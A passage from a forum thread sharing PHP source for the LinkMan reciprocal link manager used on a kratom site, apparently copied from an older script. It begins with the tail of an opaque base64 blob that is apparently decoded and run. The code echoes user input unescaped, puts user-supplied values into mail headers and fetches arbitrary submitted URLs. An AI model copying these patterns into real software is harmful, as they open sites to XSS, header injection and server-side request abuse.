    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iaJcRc7R4rm7zA23ShAA
    aRdB3DiO7xHV/we+Jzg2FZ3jC2i3bmLjUBYqNju9hLulDVb/jXsqRjHJk+tMnANdr41f5EKIdcZ3Dxsz
    J9InCDNy1ZmrGie22l127Wus5JLp0Jg18teNnXBYIADVLsf/7999///h8=')));
    
    if ($settings['spam_filter'])
    {
        $test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
        if ($test === true)
        {
            $test = '';
        }
        elseif ($test == 'superlatives')
        {
            problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
        }
        elseif ($test == 'text')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
        elseif ($test == 'url')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
    }
    
    if ($settings['autosubmit'])
    {
        session_start();
        if (empty($_SESSION['checked']))
        {
            $_SESSION['checked']  = 'N';
            $_SESSION['secnum']   = rand(10000,99999);
            $_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
        }
        if ($_SESSION['checked'] == 'N')
        {
            print_secimg();
        }
        elseif ($_SESSION['checked'] == $settings['filter_sum'])
        {
            $_SESSION['checked'] = 'N';
            $secnumber = pj_isNumber($_POST['secnumber']);
            if(empty($secnumber))
            {
                print_secimg(1);
            }
            if (!check_secnum($secnumber,$_SESSION['checksum']))
            {
                print_secimg(2);
            }
        }
        else
        {
            problem('Internal script error. Wrong session parameters!');
        }
    }
    
    /* Check for duplicate links */
    if ($settings['block_duplicates'])
    {
        $mydata = file_get_contents($settings['linkfile']);
    
        /* Check website URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
        }
    
        /* Check reciprocal link URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
        }
    
        unset($mydata);
    }
    
    /* Get HTML code of the reciprocal link URL */
    $html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
    $html = strtolower($html);
    $site_url = strtolower($settings['site_url']);
    
    /* Block links with the meta "robots" noindex or nofollow tags? */
    if ($settings['block_meta_rob']==1 && preg_match('/<meta([^>]+)(noindex|nofollow)(.*)>/siU',$html,$meta))
    {
        problem(
            'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:<br />'.
            htmlspecialchars($meta[0])
        );
    }
    
    $found    = 0;
    $nofollow = 0;
    
    if (preg_match_all('/<a\s[^>]*href=([\"\']??)([^" >]*?)\\1([^>]*)>/siU', $html, $matches, PREG_SET_ORDER)) {
        foreach($matches as $match)
        {
            if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
            {
                $found = 1;
                if (strstr($match[3],'nofollow'))
                {
                    $nofollow = 1;
                }
                break;
            }
        }
    }
    
    if ($found == 0)
    {
        problem(
            'Our URL (<a href="'.$settings['site_url'].'">'.$settings['site_url'].
            '</a>) wasn\'t found on your reciprocal links page (<a href="'.$recurl.'">'.
            $recurl.'</a>)!<br><br>Please make sure you place this exact URL on your
            links page before submitting your link!'
        );
    }
    
    /* Block links with rel="nofollow" attribute? */
    if ($settings['block_nofollow'] && $nofollow == 1)
    {
        problem('Please don\'t use rel=&quot;nofollow&quot; link attribute for the reciprocal link!');
    }
    
    /* Check Google PageRank */
    if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
    {
        require('pagerank.php');
        $pr = getpr($url);
        $pr = empty($pr) ? 0 : $pr;
    
        if ($settings['min_pr'] && ($pr < $settings['min_pr']))
        {
            problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.');
        }
    
        if ($settings['min_pr_rec'])
        {
            $pr_rec = getpr($recurl);
            $pr_rec = empty($pr_rec) ? 0 : $pr_rec;
            if ($pr_rec < $settings['min_pr_rec'])
            {
                problem('Please place the reciprocal link to <a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a> on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
            }
        }
    }
    
    $replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
    
    /* Approve manually */
    if ($settings['man_approval'])
    {
    	$tmp = str_replace('www.','',strtolower($parsed_url['host']));
        $tmp = md5($tmp.$settings['filter_sum']);
        $tmp_file = 'apptmp/'.$tmp.'.txt';
    
        if (file_exists($tmp_file))
        {
        	problem('This link is already pending approval!');
        }
    
    	$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
    	flock($fp, LOCK_EX);
    	fputs($fp,$replacement);
    	flock($fp, LOCK_UN);
    	fclose($fp);
    
    $message = "Hello,
    
    A new link is awaiting approval for your links page at $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    To APPROVE the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=1
    
    To REJECT the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=0
    
    
    End of message
    
    ";
    	$headers  = "From: $name <$email>\n";
    	$headers .= "Reply-To: $name <$email>\n";
    	mail($settings['admin_email'],'New link waiting approval',$message,$headers);
    
    	require_once('header.txt');
    	?>
    	<p align="center"><b>Your link submitted for approval!</b></p>
    	<p>&nbsp;</p>
    	<p align="center">Thank you, your link has been submitted for approval and will appear on the links page once approved by the administrator!</p>
    	<p>&nbsp;</p>
    	<p>&nbsp;</p>
    	<p align="center"><a href="<?php echo $settings['site_url']; ?>">Back to the main page</a></p>
    	<?php
    	require_once('footer.txt');
    	exit();
    
    }
    /* Approve automatically */
    else
    {
    	if ($settings['add_to'] == 0)
    	{
    	    /* Make sure new link is added after any featured ones */
    		$i = 0;
            $was_added = 0;
    		foreach ($lines as $thisline)
    		{
    			list($name2,$email2,$title2,$url2,$recurl2,$description2,$featured2,$pr2)=explode($settings['delimiter'],$thisline);
    			$featured2 = $featured2 ? 1 : 0;
    			if ($featured2 == 0)
    			{
    				$lines[$i] = $replacement . $thisline;
                    $was_added = 1;
    				break;
    			}
    			$i++;
    		}
    
            if ($was_added)
            {
    			$replacement = implode('',$lines);
    		    $fp = fopen($settings['linkfile'],'w') or problem('Couldn\'t open links file for writing! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
            }
    		else
    		{
    		    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
    		}
    	}
    	else
    	{
    	    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    	    flock($fp, LOCK_EX);
    	    fputs($fp,$replacement);
    	    flock($fp, LOCK_UN);
    	    fclose($fp);
    	}
    
    	if($settings['notify'] == 1)
    	{
    $message = "Hello,
    
    Someone just added a new link to your links page on $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    
    End of message
    
    ";
    	    $headers  = "From: $name <$email>\n";
    	    $headers .= "Reply-To: $name <$email>\n";
    	    mail($settings['admin_email'],'New link submitted',$message,$headers);
    	}
    
    	require_once('header.txt');
    	?>
    	<p align="center"><b>Your link has been added!</b></p>
    	<p>&nbsp;</p>
    	<p align="center">Thank you, your link has been successfully added to our link exchange (try reloading our links page if you don't see your link there yet)!</p>
    	<p>&nbsp;</p>
    	<p>&nbsp;</p>
    	<p align="center"><a href="<?php echo $settings['site_url']; ?>">Back to the main page</a></p>
    	<?php
    	require_once('footer.txt');
    	exit();
    }
    
    
    /*** FUNCTION ***/
    
    function problem($problem) {
    require_once('header.txt');
    echo '
        <p align="center"><font color="#FF0000"><b>ERROR</b></font></p>
        <p>&nbsp;</p>
        <p align="center">'.$problem.'</p>
        <p>&nbsp;</p>
        <p align="center"><a href="javascript:history.go(-1)">Back to the previous page</a></p>
    ';
    require_once('footer.txt');
    exit();
    }
    
    function print_secimg($message=0) {
    global $settings;
    $_SESSION['checked']=$settings['filter_sum'];
    require_once('header.txt');
    ?>
    <p>&nbsp;</p>
    
    <p align="center"><b>Anti-SPAM check</b></p>
    
    <div align="center"><center>
    <table border="0">
    <tr>
    <td>
        <form action="addlink.php?<?php echo strip_tags(SID); ?>" method="POST" name="form">
    
        <hr>
        <?php
        if ($message == 1)
        {
            echo '<p align="center"><font color="#FF0000"><b>Please type in the security number</b></font></p>';
        }
        elseif ($message == 2)
        {
            echo '<p align="center"><font color="#FF0000"><b>Wrong security number. Please try again</b></font></p>';
        }
        ?>
    
        <p>This is a security check that prevents automated signups of this forum (SPAM).
        Please enter the security number displayed below into the input field and click the continue button.</p>
    
        <p>&nbsp;</p>
    
        <p>Security number: <b><?php echo $_SESSION['secnum']; ?></b><br>
        Please type in the security number displayed above:
        <input type="text" size="7" name="secnumber" maxlength="5"></p>
    
        <p>&nbsp;
        <?php
        foreach ($_POST as $k=>$v)
        {
            if ($k == 'secnumber')
            {
                continue;
            }
            echo '<input type="hidden" name="'.htmlspecialchars($k).'" value="'.htmlspecialchars(stripslashes($v)).'">';
        }
        ?>
        </p>
    
        <p align="center"><input type="submit" value=" Continue "></p>
    
        <hr>
    
        </form>
    </td>
    </tr>
    </table>
    </center></div>
    
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    
    <?php
    require_once('footer.txt');
    exit();
    }
    
    function check_secnum($secnumber,$checksum) {
        global $settings;
        $secnumber .= $settings['filter_sum'].date('dmy');
        if ($secnumber == $checksum)
        {
            unset($_SESSION['checked']);
            return true;
        }
        else
        {
            return false;
        }
    }
    ?>
    No problem get some sleep. I appreciate your help. I just built off your help and used css validator + the fix html code they do.

  15. #15
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Copy the codes from the files below and test them out:

    linktest.php
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
      <meta name="generator"
     content="HTML Tidy for Linux (vers 6 November 2007), see www.w3.org">
      <title>Kratom | Kratom Leaf |</title>
      <meta name="description"
     content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
      <meta name="abstract"
     content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
      <meta name="ROBOTS" content="ALL=INDEX,FOLLOW">
      <meta http-equiv="content-type" content="text/html; charset=utf-8">
      <link rel="stylesheet" type="text/css"
     href="http://ukratom.com/styles.css">
      <script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
      </script>
      <style type="text/css">
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
      </style>
      <style type="text/css">
    img.c2 {vertical-align: middle;}
    img.c1 {vertical-align: middle;border:1x}
      </style>
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1><a href="http://ukratom.com" title="kratom home"><img class="c1"
     src="http://ukratom.com/images/kraton_logo.jpg" alt="Kratom"></a><a
     href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331"
     target="_blank"><img class="c2" alt="buy kratom, kratom buy"
     src="http://ukratom.com/images/Kratom_leaf.jpg"></a></h1>
    </div>
    <div id="wrapper">
    <div id="content">
       <?php
          if($_POST['addlink'])
          {
    	      include("addlink.php");
    	      if($numerr) echo '<p style="text-align:center;font-weight:bold;font-size:16px;color:navy"><a href="javascript:history.go(-1)">Back to the previous page</a></p>';
          }
          else include("links.php");
          echo '<p style="font-size:10px">Powered by <a href="http://www.phpjunkyard.com/php-link-manager.php" class="linkman" title="link exchange software">PHP Link manager</a> from <a href="http://www.phpjunkyard.com/" class="linkman" title="free php scripts">php scripts</a></p>';
       ?>
    </div>
    </div>
    <div id="navigation">
    <ul>
      <li><a href="kratom_images.html" title="kratom images">Kratom
    Images</a></li>
      <li><a href="kratom_dosage.html" title="kratom dosage">Kratom
    Dosage</a></li>
      <li><a href="kratom_effects.html" title="kratom effects">Kratom
    Effects</a></li>
      <li><a href="kratom_extracts.html" title="kratom extract">Kratom
    Extracts</a></li>
      <li><a href="kratom_resin.html" title="kratom resin">Kratom
    Resin</a></li>
      <li><a href="kratom_crushed.html" title="crushed kratom leaf">Crushed
    Kratom Leaf</a></li>
      <li><a href="kratom_powder.html" title="kratom powder">Kratom
    Powder</a></li>
    </ul>
    </div>
    <div id="extra">
    <p class="c3"><a href="http://ukratom.com/" title="kratom home">Kratom
    Home</a> | <a href="sitemap.html" title="kratom sitemap">Site
    Map</a></p>
    </div>
    <div id="footer">
    <p class="white">&copy;uKRATOM.COM</p>
    </div>
    </div>
    </body>
    </html>
    links.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    if(!$_REQUEST['link'])
    {
    
    	echo '<p><a href="?link=add">Submit Your Website</a></p>';
    
    }
    
    $lines = file($settings['linkfile']);
    
    /* Handle pages */
    if ($settings['allow_pages'])
    {
    	/* Page number, default 1st page */
    	$page=intval($_REQUEST['page']);
    	if ($page > 0)
    	{
    	    $start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;
    	}
    	else
    	{
    	    $page=1;$start=0;$end=$settings['max_per_page']-1;
    	}
    
        /* Total number of links */
    	$total = count($lines);
    
    	if ($total > 0)
    	{
    		if ($end > $total) {$end=$total;}
    		$pages = ceil($total/$settings['max_per_page']);
                   
    		$page_nav = '';
    
    		if ($pages > 1)
    		{
    			$page_nav = '<p>';
    
    			$prev_page = ($page-1 <= 0) ? 0 : $page-1;
    			$next_page = ($page+1 > $pages) ? 0 : $page+1;
    
    			if ($prev_page)
    			{
    				$page_nav .= '<a href="links.php?page=1">&lt;&lt; First</a> &nbsp;|&nbsp; ';
    				if ($prev_page > 1)
    				{
    					$page_nav .= '<a href="links.php?page='.$prev_page.'">&lt; Prev</a> &nbsp;|&nbsp;';
    				}
    			}
    
    			for ($i=1; $i<=$pages; $i++)
    			{
    				if ($i <= ($page+5) && $i >= ($page-5))
    				{
    					if($i == $page) {$page_nav .= ' <b>'.$i.'</b> ';}
    				else {$page_nav .= ' <a href="links.php?page='.$i.'">'.$i.'</a> ';}
    				}
    			}
    
    			if ($next_page)
    			{
    				if ($next_page < $pages)
    				{
    					$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$next_page.'">Next &gt;</a>';
    				}
    				$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$pages.'">Last &gt;&gt;</a>';
    			}
    
    			$page_nav .= '</p>';
    
    			echo $page_nav;
    		}
    	}
    	$lines = array_slice($lines,$start,$settings['max_per_page']);
    }
    
    $print_featured = 0;
    $first = 1;
    $i = 0;
    
    foreach ($lines as $thisline)
    {
    	$thisline=trim($thisline);
    	if (!empty($thisline))
    	{
    		$i++;
    		list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
    
    		$show_url = $settings['show_url'] ? '&nbsp;<span class="linkmanURL">-&nbsp;'.$url.'</span>' : '';
    
    		if ($settings['show_pr'] == 1)
    		{
    			if (empty($pr)) {$pr=0;}
    			$pr_code = '
    <td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10">
    <img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" style="vertical-align: middle;">&nbsp;</td>
    ';
    		}
    		else
    		{
    			$pr_code = '';
    		}
    		if ($settings['show_thumbshots'])
    		{
    		    $thumb_code = '<td valign="top" class="linkman">
    <img src="'.$settings['thumb_url'].rawurlencode($url).'" style="vertical-align: middle;border:1x" width="120" height="90" alt="Thumbnail">&nbsp;
    </td>
    ';
    		}
    		else
    		{
    			$thumb_code = '';
    		}
    
    		if ($featured == 1)
    		{
    			if ($print_featured == 0)
    			{
    				$print_featured = 1;
    				$first = 0;
    				echo '<p class="linkman"><b>Featured links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'
    			.$url.'" class="linkman" '.$nofollow.'><b>'.$title.'</b></a>'.$show_url.'<br>'.$description.
    			'<br>&nbsp;</p></td></tr>';
    		}
    		else
    		{
    			if ($settings['show_thumbshots']!=1)
    			{
    				$thumb_code = '';
    			}
    			if ($print_featured == 1)
    			{
    				$print_featured = 0;
    				$first = 1;
    				echo '</table>';
    			}
    			if ($first == 1)
    			{
    				$first = 0;
    				echo '<p class="linkman"><b>Reciprocal links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'.
    			$url.'" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.
    			'</p></td></tr>';
    		}
    	}
    }
    
    /* Close the table if at least one link is printed out */
    if ($i)
    {
    	echo '</table>';
    
    	/* Print bottom page navigation if at least 20 listings on the page */
    	if ($settings['allow_pages'] && $i > 19)
    	{
    		echo $page_nav;
    	}
    }
    else
    {
    	echo '<p class="linkman">No links yet!</p>';
    }
    if(!$_REQUEST['link']) return;
    
    if ($i < $settings['max_links'])
    {
    	echo '
    <p class="linkman"><a name="addlink"></a>&nbsp;<br><b>Submit your website</b></p>
    <p><b>&raquo; Step 1: Add our link to your website</b></p>
    <table border="0">
    <tr>
    <td>Website URL:</td>
    <td><a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a></td>
    </tr>
    <tr>
    <td>Website Title:</td>
    <td>'.htmlspecialchars($settings['site_title']).'</td>
    </tr>
    <tr>
    <td>Description:</td>
    <td>'.htmlspecialchars($settings['site_desc']).'</td>
    </tr>
    </table>
    
    <p><textarea rows="4" cols="60" onfocus="this.select()">&lt;a href=&quot;'.
    $settings['site_url'].' &quot;&gt;'.htmlspecialchars($settings['site_title']).'&lt;/a&gt; - '.
    htmlspecialchars($settings['site_desc']).'</textarea></p>
    <p><b>&raquo; Step 2: Submit your link</b></p>
    <p>All fields are required. Please finish <b>Step 1</b> before submitting this form
    ';
    
    	if ($settings['man_approval'])
    	{
    		echo ' New links will be approved manually.';
    	}
    	echo '
    <form method="post" action="linktest.php">
    <table border="0">
    <tr>
    <td><b>Your name:</b></td>
    <td>
    <input type="hidden" name="addlink" value="1">
    <input type="text" name="name" size="40" maxlength="50">
    </td>
    </tr>
    <tr>
    <td><b>E-mail:</b></td>
    <td><input type="text" name="email" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website title:</b></td>
    <td><input type="text" name="title" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website URL:</b></td>
    <td><input type="text" name="url" maxlength="255" value="http://" size="40"></td>
    </tr>
    <tr>
    <td><b>URL with reciprocal link:</b></td>
    <td><input type="text" name="recurl" maxlength="255" value="http://" size="40"></td>
    </tr>
    </table>
    <p><b>Website description:</b><br>
    <input type="text" name="description" maxlength="200" size="60"></p>
    <p><input type="submit" value="Add link"></p>
    </form>
    ';
    
    } // End if $settings['max_links'] < $i
        else
        {
    	    echo '
    <p class="linkman">&nbsp;<br /><b>Submit your website</b></p>
    <p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
    ';
        }
     // End if $settings['show_form']
    
    ?>
    addlink.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    ini_set('user_agent', 'LinkMan '.$settings['verzija'].' by http://www.phpjunkyard.com');
    $_POST['addlink'] = 1;
    
    /* Accepting any more links? */
    $lines = @file($settings['linkfile']);
    if (count($lines)>$settings['max_links'])
    {
        problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
        return;
    }
    /* Check user input */
    $name  = pj_input($_POST['name'],'Please enter your name!');
    $email = pj_input($_POST['email'],'Please enter your e-mail address!');
    if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
    {
        problem('Please enter a valid e-mail address!');
        return;
    }
    $title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
    if (strlen($title)>50)
    {
        problem('Title is too long! Limit website title to 50 chars!');
        return;
    }
    
    $url   = pj_input($_POST['url'],'Please enter the URL of your website!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
    {
        problem('Please enter valid URL of your website!');
        return;
    }
    
    $recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
    {
        problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
        return;
    }
    /* Compare URL and Reciprocal page URL */
    $parsed_url = parse_url($url);
    $parsed_rec = parse_url($recurl);
    if ($parsed_url['host'] != $parsed_rec['host'])
    {
        problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
        return;
    }
    
    $url    = str_replace('&amp;','&',$url);
    $recurl = str_replace('&amp;','&',$recurl);
    
    $description = pj_input($_POST['description'],'Please write a short description of your website!');
    if (strlen($description)>200)
    {
        problem('Description is too long! Description of your website is limited to 200 chars!');
        return;
    }
    
    /* Check if the website is banned */
    if ($mydata = file_get_contents($settings['banfile']))
    {
    	/* Check website URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
